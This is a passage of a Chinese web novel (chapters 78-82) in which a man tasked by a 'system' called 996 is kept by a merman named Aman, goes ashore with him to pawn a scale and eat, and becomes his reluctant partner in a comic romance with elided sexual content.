他们说的话跟之前听过的所有没有一点类似的地方,总之听不懂就是了。 起码有十几条鲛人争先恐后的往里钻, 上半身进来过于庞大的尾巴在外面劈里啪啦的打架互相抽的欻欻响,周围的海水被翻搅的到处乱流, 谢文运自己的头发也被海水带着到处乱飘打了一脸。 不知道是那条鲛人率先机灵的趁他们打架自己往里钻,这下开了这个头所有鲛人也不打了,都开始拼命钻进来找地方安置自己的尾巴。 谢文运:“……” 他有种家里养了十几条狗需要挨个出去溜挨个摸挨个喂饭还要收拾烂摊子一带出去东南西北到处跑恨不得把他四分五裂的错觉。 钻进来的鲛人居然挨个排队往谢文运这儿来了,阿满强硬的用尾巴把谢文运往旁边挤了挤自己坐在一旁睁着眼睛看他的反应。 第一个鲛人手里拿着一个看起来有特别坚硬的壳的螃蟹, 伸出爪子几爪就把螃蟹切了个四分五烂,谢文运看着直摇头,“不吃。” 那个鲛人听不懂,阿满就发出类似一声的‘难’字,语速很快也很短。 那个鲛人就把螃蟹往自己嘴里一塞咔嚓咔嚓嚼着吃了。 下一个鲛人手里拿着的是一条银白色的鱼,被用指甲穿身体而过,那个鲛人就那么竖着指甲递到谢文运眼前。 鱼的肉也是白色的,看着体型很小,谢文运忍着脸上的表情试着上手捏了捏,然后再闻了下自己刚才摸过鱼的手指连连摇头,“不吃。” 第三个鲛人手里拿着一个螺,用指甲尖轻轻一勾就把肉勾了出来,眼前过分清澈没有浮游生物的水使得被壳里带出来的东西更明显的漂浮在谢文运眼前。 谢文运:“……” 这下不用阿满翻译那个鲛人也看出来他不吃了,捏着螺肉在水里晃了晃塞嘴里也嚼着离开了。 这些鲛人拿过来的东西就没有一个谢文运能闭着眼睛塞嘴里的,这些鲛人一脸忧心忡忡还带着点怜爱的看坐在那里的谢文运。 已经三十多的谢文运起了一身鸡皮疙瘩并表示不要用这种眼神来看他。 那些鲛人有点像海豚,似乎对人类有种莫名的喜爱与亲近,之前看网上有种说法是说人类在海豚眼里就像是猫猫狗狗一样,难不成在鲛人眼里人类也是这样子? 既然对人类有天生的喜爱与好感那么后期为什么售卖能这么顺利也有别样的解释了,天生亲近人的鲛人被买回家也是顺心的。 只不过海豚救助溺水的人会顶上海面,阿满会把人类抢回窝里。 阿满把脑袋伸到谢文运面前,双手搭在他的腿上,“为什么,不吃?” “腥。”谢文运飞快垂眼瞟了下阿满那双放在自己腿上的尖锐的爪子。 “你等我。” 阿满说话的时候总是睁着那双漂亮的眼睛专注的盯着人说话,明明是双稍微动一动就流光溢彩不像真实存在的、又有点勾人的眼睛,硬生生被他专注的模样搞出来一点老实巴交的感觉。 他说完这句鱼尾紧绷了一瞬间,猛的一使劲像是离弦的箭一样冲了出去,只是几秒就留给了谢文运一个小小的点。 阿满一走其余的鲛人又叽里咕噜的上来了,七嘴八舌叽里咕噜的声音来回响,恨不得在谢文运面前唱出戏一样。 谢文运实在不习惯跟这种性子的鱼打交道,比了个停的手势立马下床往外走,那群鱼让开了点位置,谢文运找着缝隙下脚,只是还没走出去看着外头就又停了脚步。 外头地面上看着远没有这张床附近来的干净,可能看到很多海底的沙子,里面看不清的地方肯定有一些尖锐的东西。 谢文运不想在海里扎出伤口再用盐泡伤口,现在每一下也走的谨慎又谨慎,看见地上这样干脆就那么站着不动了,只是没想到走了没有几分钟的阿满居然会这么快回来。 或许是因为在海洋深处,阿满的尾巴并不像在窝里和浅水地方看着那么五彩斑斓,反倒是一种极其均匀的银白色,在海里分外显眼,随着游动的动作身上和尾巴上某些线条流畅又好看的地方展露无遗。 阿满看见他站在窝的门口本来就快的速度冲的更猛了,就在谢文运怀疑他是不是会刹不住车撞到自己的时候,游到他面前的鲛人对尾巴控制的很好的来了个急刹车,又转了个弯在原地游了几圈才停下。 随即这条鲛人把手上捏着的东西献宝似的递到谢文运面前。 透明的不规则形状,捏起来的感觉有点类似海蜇,光看着也不难猜出是某种没有味道的,全身大部分用水组成靠吃浮游生物生活的物种。 谢文运迟疑着咬了点,果然没有什么味道,但是很脆很有嚼劲。 要是有酱油能沾着吃就好了。 他也只是想想,对于这种没有味道的东西已经很满意了,转着边的吃,最后把中间剩下那点疑似是这个生物嘴的地方留下了。 他吃完了,也不知道张嘴的时候吃了多少海水进去,他也不想知道,为了自己好选择性的忽视掉了这一点。 一直用尾巴在水里漂浮着的阿满专注的在那看他吃,见他终于吃了也吃完了露出尖尖的牙跟谢文运笑,然后就把脑袋往谢文运怀里一拱,见谢文运没有反应继续的供。 “……”谢文运依照自己摸家里大黄的经验摸了摸那颗脑袋。 那颗脑袋被只摸一个地方还自己换位置,变了下姿势让谢文运摸自己尖尖的耳朵。 耳朵的上面是尖尖的,有一层薄薄的肉色的膜跟脸连着,平时有头发挡着看不太清,耳朵靠脸的地方仔细摸摸甚至能摸到开裂的地方,谢文运摸到这里的时候动作一顿,阿满似乎察觉出了他的感兴趣,很配合的张开自己的用于呼吸的鳃。 那个地方跟鱼鳃不太一样,一侧有三个裂口,但很小也很不显眼,摸起来边缘软软的。 阿满就这么歪着脑袋让他摸了好一会儿才又递给他一个三厘米大小的珠子。 “送我?”谢文运很摸不着头脑的问。 阿满摆动尾巴稍微游远了一点,“扔。”他边说这个字边朝谢文运招招手。 他不是很确定的用了点力气朝阿满的方向把那个圆珠子扔了过去。 第一次在水里扔这个他没有把控好力度,珠子还没有扔到阿满那里就晃晃悠悠往下落,看起来体型很大的鲛人十分灵活的一甩尾巴就从下面捞住了那颗珠子,十分欢快的游到谢文运面前把嘴里咬着珠子给他。 谢文运有点麻了,实在没想到自己在家里下班得出去遛狗跟大黄玩接飞盘游戏,到了这儿边完成任务还得跟任务对象玩接珠子游戏。 每次他扔出去阿满就特别灵活的在水里游来游去接到珠子又给他送回来,送回来也不直接走,而是把脑袋往他身上一蹭翘起尾巴尖在谢文运面前疯狂的晃,直到谢文运伸手摸一摸尾巴尖才离开。 接珠子的游戏阿满玩的不亦乐乎,精力实在充沛到难以想象,谢文运在水里扔珠子都扔累了,刚刚吃进去的大部分是水的东西估计早就被消化完了,现在一点跟阿满折腾的力气都没有。 于是等珠子再回到手里的时候谢文运抓住了他的尾巴再次直接表达了自己的诉求,然后他再次得到了一堆可以吃但吃不饱的东西。 …… 爸妈没了他带着个未成年弟弟什么苦都吃过,还在长身体的时候为了省钱一天一顿也是有的,经过了那段时间他自认为没什么可以打倒他,但现在他才明白是有的。 看似不停的吃,实际上吃的全是水。 谢文运没什么表情的坐在床上嘎吱嘎吱嚼嘴里的东西,深海小狗就黏糊糊趴在他身上继续翘起尾巴跟他晃动那个存在感极其强烈的尾巴尖,非得让他抓住才罢休。 等谢文运又抓住了就激动的带着整条尾巴的晃,他低头看了眼。 阿满脸上带着可疑的红晕,正用他那锯齿状的牙齿磨谢文运的衣服。 第79章 第七十九章 磨爪子 谢文运不确定的看了看那张光秃秃的彩色石头床又上手摸了摸, 不算凉,是一种让人感到体感舒适的温度,但硬也是真的硬, 上面什么都没有,不像是个能供人正常睡觉的样子。 周围很亮察觉不到时间流逝,但他非常固定的生物钟告诉他现在就该睡觉了, “晚上在哪里睡觉?怎么睡?” 阿满是细长的眼型,现在却睁的溜圆, 思考了几秒,就在谢文运怀疑是不是自己表露的有什么问题的时候, 他迟疑着开口, “床上、躺下睡。” 谢文运:“?” “我的意思是, 床上什么都没有, 没有枕头被子, 怎么睡?” “奥——”阿满露出恍然大悟的神情, 眼角眉梢很快带上笑意,立马把自己的尾巴甩到床上拍了拍, “枕着睡,我就是被子。” 谢文运尽力去转动自己的大脑理解阿满的‘他就是被子’还是无果, 很迟疑着把脑袋枕在阿满的尾巴上,没有闻到任何鱼的味道, 脸和耳朵靠在冰凉坚硬的鳞片上后挨着的地方很快就软下来,鳞片是凉的, 但被鳞片保护着的尾巴却是热的,长久这么挨着隐隐约约能感到一点热度。 那条尾巴弯曲着,最底端略靠上的部分给谢文运枕着,阿满动作极其自然的枕着剩下那截, 就跟谢文运极其亲密的脸挨着脸,伸手就把他抱在怀里,有些凉的身体居然开始微微发热。 鲛人似乎成了一个鱼形的暖宝宝,一直不间断的散发着热量,一直泡在海里被忽略的冷意接触到正常的温度后才缓缓复苏。 谢文运极其不适现在这个动作,硬撑了会儿才又往阿满怀里靠了靠,就听到抱着自己的鲛人毫不掩饰的发出一声得逞的笑。 谢文运:“……” 谢文运虽然自己穿着衣服,但眼前的是个裸着上半身的裸鱼,他也不知道有鳞片算不算穿着衣服,姑且算阿满这群鲛人成天在这里半裸到处跑。 阿满一直在笑,呲着尖锐的牙齿笑,在谢文运的目光落在上面的时候嗖的一下闭住了嘴,居然来伸手扒拉谢文运的嘴唇。 他闭着嘴无力挣扎了几下,催眠阿满就是条鱼,什么都不懂,于是就顺着他的动作张开嘴,一根长着尖锐指甲的手指慢慢碰他的牙齿,阿满露出一副若有所思的样子收回手,正在谢文运以为他研究完自己的牙准备闭上时,阿满姿势奇怪的用另一只手掰住自己的指甲用指腹去研究他那口很齐的牙。 谢文运就这么被迫张着嘴,同时也是保护自己不要被阿满的指甲把嘴给捅个对穿。 阿满对着他的嘴呲牙似乎在认真的对比,呲了会儿又闭上嘴了。 放过牙齿又去摸谢文运的耳朵,摸他的指甲,把刚才谢文运在他身上研究的东西研究了个彻底,然后又缓缓的把目光瞄向下方被衣物阻挡着的地方。 他瞄了会儿用撑着石头床坐起来一点,摸摸谢文运又摸摸自己的尾巴偏四分之一的位置,似乎要先给谢文运展示一下自己的再礼尚往来的去看谢文运的。 顿时惹的谢文运一脸惊恐,他一点都不想看鱼的,也不想被鱼看,更不想跟鱼作比较。 “不,这个不行。”他拒绝的斩钉截铁,阿满闻言脸上露出显而易见的失望,嘴角也向下撇了撇,万分可怜的垂着眼睛看他。 但谢文运不是能被这种眼神打倒的人,再次斩钉截铁的拒绝了阿满。 似乎见到确实没有任何希望能拿出来比一比,阿满也不再强求,只是始终是一副可怜巴巴又兴致不高的样子,把头往谢文运脖子里一窝不动了。 谢文运感觉自己带了个小孩跟小狗的结合体,阿满时不时就给他来个大的,到底会做出什么事都没法预料。 虽然看似在坐着,但感觉比上了一天班还累。 说话说得好,小孩静悄悄,必定在作妖,阿满也是同理,现在安静的鱼不知道又在干什么,谢文运直接闭上眼让他没机会再对自己做什么。 本来生物钟就在作祟,闭了会儿眼他还真睡着了。 …… ‘喀嚓喀嚓喀嚓……’ 细微的声音一直在耳边响,像是某种东西在粗粝的石块上摩擦,细微却又持续不断。 冰凉的鳞片在长久的贴靠种早已被暖热,谢文运早已清醒了大半但没有睁眼,随即他就感觉到有什么东西靠近了他,当呼出的气息被喷洒到脸上的时候他才反应过来这是阿满靠近在观察他。 那张脸仔仔细细凑近看了半天,试探着蹭了蹭见谢文运毫无反应,然后才撤开,稍微有些屏息的谢文运一口气还没出来阿满就杀了个回马枪,伸手用两根指头的侧面扒开谢文运的眼皮,对着那颗黑色的、清醒的眼珠子得意的笑了下。 “我就知道你醒着。” 他恍然间想起父母还在的时候谢文涛还是个小孩,对自己哥哥的报复就是早上起来偷偷把他卧室门打开,让大黄进去跑酷打扰他,但凡他听到卧室里有大黄的声音根本不敢睁眼跟它对视,因为一对视就会被纠缠,大黄对人类的需求实在太高,不摸个爽根本不会放人离开。 一只眼睛强行被扒拉开,谢文运有点无力的把另一只眼睛也睁开勉强起来迎接下面不知道是什么的狂风暴雨的洗礼。 一根小拇指就被怼在了谢文运脸前,他一开始并没有发现有什么不对,仔细看了几秒才发现之前尖尖的指甲已经消失不见了,取而代之的是很贴合甲床的圆形。 谢文运:“?” 这条鱼干了什么? 另一只手举着一个黑色的、表面看起来有些粗糙的扁平石头递给谢文运,然后又把自己另一个尖尖的指甲递给他,“磨。” ……所以他听见的声音是阿满忙活半天把自己捕食吃饭的家伙给磨了? 谢文运接过那块石头,现在他已经把阿满归为的智商打问号的行列,自然也不可能帮他把他吃饭的家伙给磨了,捏着那只白的过分的手决定帮他修一修指甲的形状算了。 他每个指甲的形状都很规律,边缘圆圆的,谢文运开始磨的时候不得不再次佩服起来这条一身都是劲的鱼,过于锋利的指甲每磨一下都有喀嗤喀嗤的声音,偶尔也会发出一点尖锐的声音。 磨了半天他没看出哪有什么改变,阿满却很满意的举着手看来看去,真情实意的夸赞,“好!” 一起来就帮鱼磨指甲让谢文运忽视了自己最基础也是最迫切的需求,“……我要小解。” 阿满眨了下眼,一脸纯良似乎并不明白谢文运为什么要跟自己说这个,还是指了指外面,“去外面。”他见谢文运不动继续耐心开口,“不能在家。” “……我没有想在家。” 谢文运不知道怎么居然想起之前看过的一部电影,里面讲的是人类与动物互换身份,人类被动物作为宠物买回去养在家里笼子里,本来有点觉得阿满像小狗的想法现在全变成了觉得自己像阿满养在家里的宠物,由阿满这个主人外出打猎,小号还要安顿不能在家里。 谢文运:“???” “我不在水里。”谢文运绝对不燕山停肯在这个地方退步,“我要回岸上去。” 阿满立刻皱起好看的眉毛,头都快摇成了拨浪鼓,“不行不行,就在这里,我不看你。” 谢文运有点有气无力,“再吃那个我就要饿死了,我得上岸。” 阿满还是连连摇头不肯让步,“不行不行,我给你找别的。”他生怕谢文运上了岸就跑了,特别紧张的把脑袋摇个不停,尾巴也很焦躁的晃来晃去,在那思考了片刻甚至准备跟谢文运上手,这下谢文运连声拒绝也没用了,阿满那双手毫不犹豫往下伸,“我帮你。” 他看起来为了防止谢文运跑掉真的打算帮谢文运小解,也不管那些有的没的了,被谢文运贞洁烈男一样拽住裤子满脸的不高兴。 “我要上去。”谢文运再次强调。 他对上阿满那双不解又带着委屈的亮晶晶的眼睛满眼坚定,跟他一起拉着裤子做拉锯战的阿满瘪了下嘴,“你非得上去?” “我非得上去。” 阿满撒手返回床那里很委委屈屈的把自己的尾巴抱在怀里坐下,用谴责的眼神看了谢文运一眼又一眼,试图用眼神让他回心转意,在发现自己这样的眼神也没有效果后特别沮丧的垂着脑袋不动了。 阿满要是坚持不让他上去就在这里这么拖着谢文运也没办法,但他在海里是真不行,于是在心里问996有没有什么解决办法,得到肯定的回答也放下心,大不了就是自己上去。 很大只的阿满在那自己委屈了会儿又扭过头来看谢文运,“你保证你不跑。” 谢文运本来就没打算跑,就算跑也是要带着他一起上去,毫无心理压力的答应了。 阿满眼睛都耷拉着,“我带你上去,上去后你得把珠子先给我。” 第80章 第八十章 上岸 谢文运发现自己实在低估了鲛人游泳的速度, 在大海这种极度宽阔没有边界的地方他能毫无顾忌的加快速度游动,本来打算自己记一下路上怎么走最后还是放弃把这个任务留给了996这个赛博生物,等一人一鱼在水面上冒头的时候离岸上还有段距离, 谢文运看了眼隐藏在海底的尾巴,“你尾巴怎么办?” “给我珠子,我能变成腿。” 谢文运当然不知道怎么主动把珠子给他, 阿满再次像上次一样用手引导着珠子从他的腹部一点点上来,谢文运喉咙里逐渐有了异物感, 阿满却停手不再动了。 那个珠子在那里不上不下,谢文运露出个有点疑惑的眼神, 不论是试着咽下还是吐出那颗珠子都在那里丝毫不动。 现在就连发出的声音都有点含糊, “珠子……” 阿满又露出了点笑, 不管是眼睛还是耳朵上那层膜在太阳底下都发着光, 就这么看了会儿毫无征兆凑上来亲了亲谢文运的嘴唇。 谢文运登时头皮发麻, 上次是渡气, 现在又是干嘛,不过很快他就知道阿满在干嘛了, 那条细细的舌头像是没有限制一样舔来舔去,很快他就感觉到堵在喉咙里那颗珠子跟着舌尖一点点的出来了, 珠子到了嘴里被用舌尖一卷就再次回到主人的的身体里。 要是没有上次的显摆谢文运或许会以为只能用这种方式把珠子拿出来,但在知道的前提下这不就是明晃晃的趁机占便宜。 他这辈子没想到自己能被一个男的亲两次。 更准确来说是一条鱼。 珠子回到阿满体内时阿满很快就松开嘴再次带着谢文运往岸边游, 这次速度很明显慢了不少,码头上有不少人, 到了浅水区他的尾巴无从遁形,谢文运低头看了眼,却见在水里的尾鳍以一个几乎肉眼可以看到的速度在一点点消失,随着尾鳍的消失阿满游动的速度也很明显的滞涩了下来, 等彻底到岸边时那双尾巴已经变成了人腿。 变成人腿阿满就彻底游不动了,那双腿像是第一次被安到身上,双腿依旧紧紧并着来动。 阿满也由一个疑似全/裸的鱼变成了一个真正全/裸的人。 谢文运深吸一口气立马把身上衣服扒拉下来一件,他不会水,但呛几口总比阿满裸着上岸强,动作有点迟缓把重点部位一围赶紧冒头上来。 “有人!” “那有两个!哎呦,谁家小子进水里了!” 岸上的人七嘴八舌声音传来,谢文运又喝了几口水被拽上岸就吐了出来还不忘回头再看一眼阿满,他对随意披上去一看就不是很牢固的衣服信任感不大,总觉得会在上岸的时候被水给冲走,看到衣服还在放心的扭回头继续吐喝进去的海水了。 拽上来的两个人一个呛水,另一个像是头一次有四肢一样趴在那控制不了腿,身上还只有一件衣服,怎么看怎么是遭遇了点海难的样子,周围大叔七手八脚把身上能脱的衣服脱下来给阿满蔽身,还有点经验老道的过来一看——诶,这光着的小子没事,另一个也就喝了几口水,于是立马开始念叨福大命大感谢海神。 谢文运怕阿满一说话就露馅,把那股要命的咳意扛过去就立马挡在前面跟那群渔民交际。 那个对救人经验老道的渔民歪着头打量谢文运,看了半天说不出来跟谁有点像只好作罢,“你们两个小子从哪飘过来的,一点事没有可真是福大命大。” 他就不是本地人,来了没几天也不怎么出去,就出海那天看了眼琼州的码头,现在再一看附近尤为陌生,“大叔,这儿是?” “漳州!” …… 谢文运早该知道阿满那么轻易松口肯定没那么简单,知道他家在琼州干脆带他往隔壁漳州的岸边来了,这下他就算回去水路也得小一日。 两个人一身被海水泡湿的衣服都不太体面,阿满尤甚,在外劳动的渔民衣服当然谈不上多么干净整洁,甚至也不算干,两个湿漉漉的人应付完热情的渔民面面相窥站在那里你看我我看你。 “你带钱了吗?” 谢文运问,他跳海的时候没带钱,就算带了恐怕在海里也留不下,平时在谢家身上带的玉佩什么的因为出海也放下了,身上连半个铜板都没有。 阿满眨眨眼,此刻又显露出那种清澈的愚蠢出来,“什么钱?” 谢文运看他对变出双腿的熟稔并不像第一次上岸,应该不会不明白什么叫钱才对,“就是人花的东西,你不是第一次上岸吧?” “不是。”阿满很诚实的说完伸手在自己腰的地方摸了摸,随着他的动作露出一点点腰侧他才发现阿满的那个地方还有没有完全退化掉的鳞片,小小的,亮亮的,阿满居然就试图那么拽掉,他拽了几下动作一顿,满眼困惑的看了下谢文运,“……要钱干什么,你不是上来小解吗,我们一会儿就回去了啊。” “……我要吃饭。” 阿满似乎也觉得有道理,并且认为给他吃的确实不管饱,再次把手放回腰侧去硬拽鳞片。 他的动作太快,确定要把鳞片以后谢文运甚至来不及出声阻止那一个坚硬在太阳下面闪着光的鳞片就被拽下来,缺少鳞片的地方很快就冒了血,阿满很不在意的用手背蹭了蹭继续递给谢文运。 谢文运:“……疼么,你还能长出来吗?” “可以。”阿满用手指圈出了一个很小的圈,“但要从这么大开始长。”他说完又把鳞片往谢文运面前递了递,“你吃饭吧。” …… 当铺掌柜举起那个鳞片对着光仔仔细细的看,“啊呦,这是什么东西的鳞片啊?” 谢文运顿了一两秒也没法说出个所以然来,“海里捞的,你看给多少吧。” 掌柜的看了眼有点狼狈的两人眼珠子一转,吧东西放下比了个数字,“十两。” 谢文运从柜台上拿了鳞片就要走,掌柜的连忙诶了好几声,“等等!你看,我也不搞那些虚的假的,这东西你不知道到底是什么,我也没见过,没法定价,好看是好看,打不出名声光好看我收来也没用,这样。”掌柜的伸出三根手指,“我给你三十两,死当。” 谢文运面无表情,“五十两。” 掌柜的不肯松口,“就三十!” 谢文运也不松口,“就五十。” 两人拉锯了好一会儿眼见着谢文运又要拿着这东西走了,掌柜的一咬牙,“我给你四十两,能行就留下。” “成交。” …… 出了当铺谢文运伸手要看他拔了鳞片的地方,阿满也不遮挡,很大方的露出来给他看,已经不流血了,但上面的嫩肉红红的,看起来有点肿。 谢文运一时间不知道该说什么,轻轻伸手碰了下,“去药铺买点消炎止痛的药回来。” “没有用。”阿满拦了下,“这个等回去就好了。” 他拦了会儿谢文运还是去买了消炎的药粉倒上去,阿满全程没什么别的反应,乖乖坐在那里让他倒。 两人穿成这样到处晃不是事,出了药铺又顺路找了家成衣店买他们已经做好现成的衣服,稍微量了下尺寸他才发现没了尾巴原来阿满跟自己差不多高,甚至还低那么肉眼看不出差别的一两厘米。 换了衣服谢文运直奔最后的目的地,对一切都不熟悉的阿满又乖又听话的跟着他走。 阿满除去尾巴带来的身高压制以外甚至看起来有点显小,这么乖乖跟着很像那种听话讨喜的小辈或弟弟,谢文运不禁想阿满要是在海里也是这副样子就好了。 …… “要一只烧鸡,馒头,地三鲜。”谢文运估计着饭量点了点菜,还给阿满点了条口味清淡清蒸鱼。 两个人坐的桌子一桌子大菜,阿满盯了盯筷子有点不知道该怎么用。 谢文运伸手给他打了个样,发现还是夹不太好的时候干脆代劳了夹菜的任务,现在更像是照顾小孩了。 他先挑鱼腹上的肉给他夹了一块放在碗里,阿满捏着筷子着急到想直接用手抓鱼,最后还是被谢文运夺下筷子,“不能用手抓。” 他拿过阿满的碗思考需不需要给他挑刺,照平常在海里的时候肯定是不需要的,但谁喜欢吃刺啊,等他给这条没吃过清蒸鱼的鲛人挑完刺再说吧。 挑刺的时候几乎要把整块鱼肉给弄碎了,现在阿满更夹不起来了,谢文运干脆用筷子夹了给他送进嘴里,“怎么样?哪个好吃?” 他观察着阿满的反应,对方眼前一亮连连点头的样子无疑告诉了他答案。 没有吃过人类调料看起来很没有见识的鱼吃哪个都好吃,谢文运想了想去找店小二要个勺子让他自己吃来的快,临走也不忘安顿他不能吃等自己回来再说。 等他拿着勺子返回时一直坐在邻座的人就朝他招手,谢文运还以为这人要说什么,等靠近就看见那人用万分敬佩的目光看他,张口就来: “带着个脑子不好的弟弟不容易吧?” “唉——都得喂饭。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 第八十一章 他是天仙也没用! 这么一耽搁两人回海里的时间一下子被一拖再拖, 品尝到美味的阿满对这些饭大加称赞,这个朝代调味料还没那么丰富,在现代尝过的谢文运嘴里味就要打个折扣, 但再打折扣也禁不住吃了一堆什么味都没有的生物,现在吃了这个他也觉得实在美味。 阿满满脸兴奋,丝毫不知道自己在旁人眼里已经成了一个脑子不好但实在貌美的弟弟, “咱们明天再来吃吧?” 十分抗拒上岸的鱼现在变成对上岸最积极的人。 看来吃货在什么时候都存在,为了吃可以风雨无阻, 谢文运当然答应,他也不想吃那些没有味道的东西或者很腥的鱼。 “你总不能上来一次拔一次鳞片吧。” 阿满一脸胸有成竹, “我有好多珠子。” 谢文运想了想在家里那一堆好看的珠子也肯定的点点头。 …… 回去的第一件事就是检查阿满尾巴上缺的那一块鳞片, 谢文运按着他从腰的位置一点点找, 密密的鳞片几乎让人头晕, 颜色相近并不好找, 他在可能在的地方找了一圈也没有找到, 只好再往更深的地方。 尾巴四分之一的地方有一点地方微微发红,他试着摸了摸那一块, 接触到的果然是柔软的尾巴而不是坚硬的鳞片,“多长时间能长出来新的?” “一个月?”阿满说, “我不知道,我几乎没有掉过。” 谢文运再次摸了摸那个地方, “你们没有什么药之类的么?” “没有……”阿满这次回答的很小声,“你再摸摸。” 那块肉过分的软, 像是长出的新的嫩肉,比新长出来的嫩肉摸起来还要脆弱,甚至有种多摸几下就会破掉的感觉,谢文运没有继续摸, 轻轻用指关节蹭了下旁边的鳞片,只觉得似乎软了点。 他愣了几秒,再次伸手摸了摸那个软的地方,又摸了摸旁边依旧很坚硬的地方,被伤口夺去全部注意力的他后知后觉反应过来,也带着点渺茫的期翼希望不是自己想的那样。 怀抱着这种想法,谢文运试探着抬头看了眼,就对上了阿满那张漂亮的布满红晕的脸。 谢文运:“?” 已经有些稍微探头,谢文运震惊极了,阿满似乎也很不好意思,带着点轻轻的埋怨,也在向他表示不是自己的错,“……你摸我那里,还那么蹲着。” 996似乎嫌现在的场景不够混乱也加入进来,【砰砰砰吧宿主,砰砰砰,现在就是最好的时机啊,现在的气氛直接顺水推舟……】 谢文运那张从来都八风不动的脸自从到这儿已经震惊无数次,甚至感觉自己有些变形,“你们是鸭子店吗,难道绑定一个宿主就得逼宿主做这种事?” 【当然不是!】996自证清白,【我们从来不干这种事,都是宿主自愿的!】 “我不自愿啊!”谢文运说,“我不自愿!他是个男的!” 【是女的就行了?】996说,【鲛人是不是能变性啊。】 谢文运一脸你在说什么,“是女的更不行!” 【宿主,你会自愿的。】996一副已经看破一切的语气,它现在甚至有种自己能预测未来但又不知道该跟谁分享的忧愁,宿主肯定是不会信的,【我上上上个宿主没有什么抵抗抱住任务对象就亲,我上个宿主也几乎没有任何抵抗,上个宿主抵抗了一会儿被亲了下就投降。】它啧了声,【你是顽固分子。】 “你们就是鸭子店。”谢文运下定论。 【我们不是,要是真按这么算我们是兔儿神。】 谢文运斩钉截铁的开口,“我不可能照你说的那么干,他再好看都不会,他是天仙也没用,我不走你剧情里那个调调。” 996轻轻哼了声,也不知道在哼什么,然后就消失了。 谢文运立马抓起阿满的尾巴用他的尾鳍遮挡住,半透明的尾鳍其实什么都挡不住,但总归聊胜于无,“你收回去。” “收不回去。”阿满面对谢文运不信任的眼神有点委屈·,“真收不回去。” 谢文运无力的举着尾巴继续遮挡,“那怎么才能收回去。” “口口。”阿满说出两个字。 谢文运:“???” …… 他是一条鱼他是一条鱼他是一条鱼他是一条鱼他是一条鱼他是一条鱼他是一条鱼。 他是一条鱼! 不是一个物种不是一个物种不是一个物种不是一个物种不是一个物种不是一个物种。 不是一个物种! 大黄大黄大黄大黄大黄…… 又不是没被大黄给骑过腿。 根本不算什么哈哈。 正常的正常的正常的正常的…… 等这条鱼用他长长的尾巴再次亲昵的把他圈住,整个鱼都依偎着,活像是经过滴血认主了似的,粘人程度瞬间以火箭式飞速增长,现在像是昨天那种玩乐样式的亲昵好像在一瞬间就消失了,要是昨天谢文运还能幻视家里大黄,现在圈住自己的这个绝对是个把尾巴里的人视为伴侣的雄性鲛人。 谢文运受到了极大的、无法用语言形容的冲击,语言太过乏力苍白居然一点都不能描绘出他现在的复杂心绪。 更多的还是活了三十来年到头跟个十几岁毛头孩子似的一点都控制不住情绪翻江倒海。 ……但他真的控制不住。 这对吗,阿满是条鱼。 谢文运开始试图跟他讲道理,顺便扒拉他的尾巴不要让他的动作这么有占有欲,“你别圈这么紧。” “你能明白刚才是什么吗?” “当然!”阿满眼睛亮的像是在里面装了八百瓦的灯泡,再次黏黏糊糊凑了上来,看起来很想亲一亲谢文运。 这样子一看就不明白。 “……刚才做的事情只是一种帮助,不带有其他含义的帮助。”商人的感觉让他觉得继续留在这里或许会发生非常不妙的事情,于是开始立马撺掇他上岸,“你要不上岸吧,我家里很有钱,今天吃的跟我上岸想吃多少吃多少。” 阿满的注意力却不在这儿,直白的表达自己的感受,“跟你上岸你会帮我么,刚才好舒服。” “……你找一条漂亮的雌性鲛人一起带上,你要是舍不得你的七大姑八大姨就一起带走,我都养着。” “我不要雌性鲛人。” 不管谢文运怎么把话题往上岸上拐阿满都不接招,满心满眼只有刚才的事,坚决否定了雌性鲛人的意见,“我喜欢你。” “你喜欢我?没事——你能喜欢我也能喜欢别人,咱们当兄弟,你继续喜欢你的。” 阿满脸上的笑跟黏糊劲都没了,现在很不高兴,带着被误解的委屈,每次一委屈总是耷拉着眼睛和睫毛,那双亮晶晶的眼睛都失去了神采一般,“你误解我了!” “我们鲛人只找一个。”阿满说,“我就喜欢你,不能喜欢别人。” 谢文运试图跟他玩文字游戏破坏这条鱼自己的逻辑,“你也说了,只找一个,那找了才算啊,你没用找我,我不算的。” 这话说完阿满不反驳了,甚至连脸上那点委屈的神情也没用了,挣圆眼睛傻傻的看了谢文运几秒,就在谢文运以为自己成功破坏了他的逻辑时,那双睁大的眼睛里顿时就有了泪。 眼泪来的很凶,聚集的很快,甚至等不及眨眼时被挤出眼眶就自己掉落下来,一串又一串,过多的眼泪在掉下来的时候甚至都没有断掉,阿满很凶的哭了那么一会儿,一声不吭的掉眼泪,像是流不尽要把自己哭成鱼干,彻底把人哭傻了。 谢文运很少哭,谢文涛也不哭,没有爸妈没人会在意他们哭不哭,在他们眼里哭不等于委屈,更不等于哭能得到想要的东西,所以在遇到哭泣的人时总会更加手足无措。 阿满这一通哭彻底给谢文运哭傻了,能言善辩的嘴现在一个字都吐不出来。 那双红红的眼睛睁的很圆瞪他,“你都摸我了,你都那样我了,你让我找别人!” 谢文运:“……” 他刚才是不是不该催眠阿满就是一条鱼帮他。 但谢文运肯定就算没有刚才的帮助阿满绝对会说:你都收下我的贝壳了/你都躺我的尾巴了/我都扯鳞片给你当了换钱了/…… 谢文运整个人都木了,有种搬起石头砸自己的脚的感觉,甚至开始怀疑当初是不是不该接下这个任务。 阿满没有得到他的回答特别不满意再次重复,“你摸我!你还让我找别人!” “没有……”谢文运无力的说,“我的意思是没有找我你可以找别人。” “那我找你了呀!”阿满再次重复那个谢文运最不想听的,“你都摸我了!你都口口我了!” “对,你找我了。” 谢文运只好附和。 刚才还哭的满脸泪的阿满顿时雨过天晴笑的春风拂面,速度快到谢文运觉得他刚才哭是装的,哭过的眼睛更加水润,眼巴巴的看着他,再次翘起自己那个薄薄的很好看的尾巴尖在谢文运面前兴奋的晃来晃去,被谢文运抓住后更加兴奋,猛地伸手抱住他大声喊: “相公!” 第82章 第八十二章 我比较保守 被美食俘获的阿满彻底爱上了往岸上去, 每天起来第一件事就是叫上谢文运一起往漳州去,谢文运在岸上也方便的多,一人一鱼一拍即合。 谢文运在前面领着阿满走, 走过这一道摆着各种小摊的地方肚子里都有了不少存货,他循着自己这几天的记忆出了巷子往右边拐,走了不多时就看见了那个客栈。 往返海里岸上的日子阿满从来没有打过在这上面住的意思, 不管怎么晚上都要回海里,谢文运试探着指了下坐落在那里看起来十分气派的客栈, “你想不想住那个?” “那是什么?”阿满睁着眼睛看外面挂着的布上自己不认识的字。 “客栈,就是晚上睡觉的地方, 有我们平常睡的床, 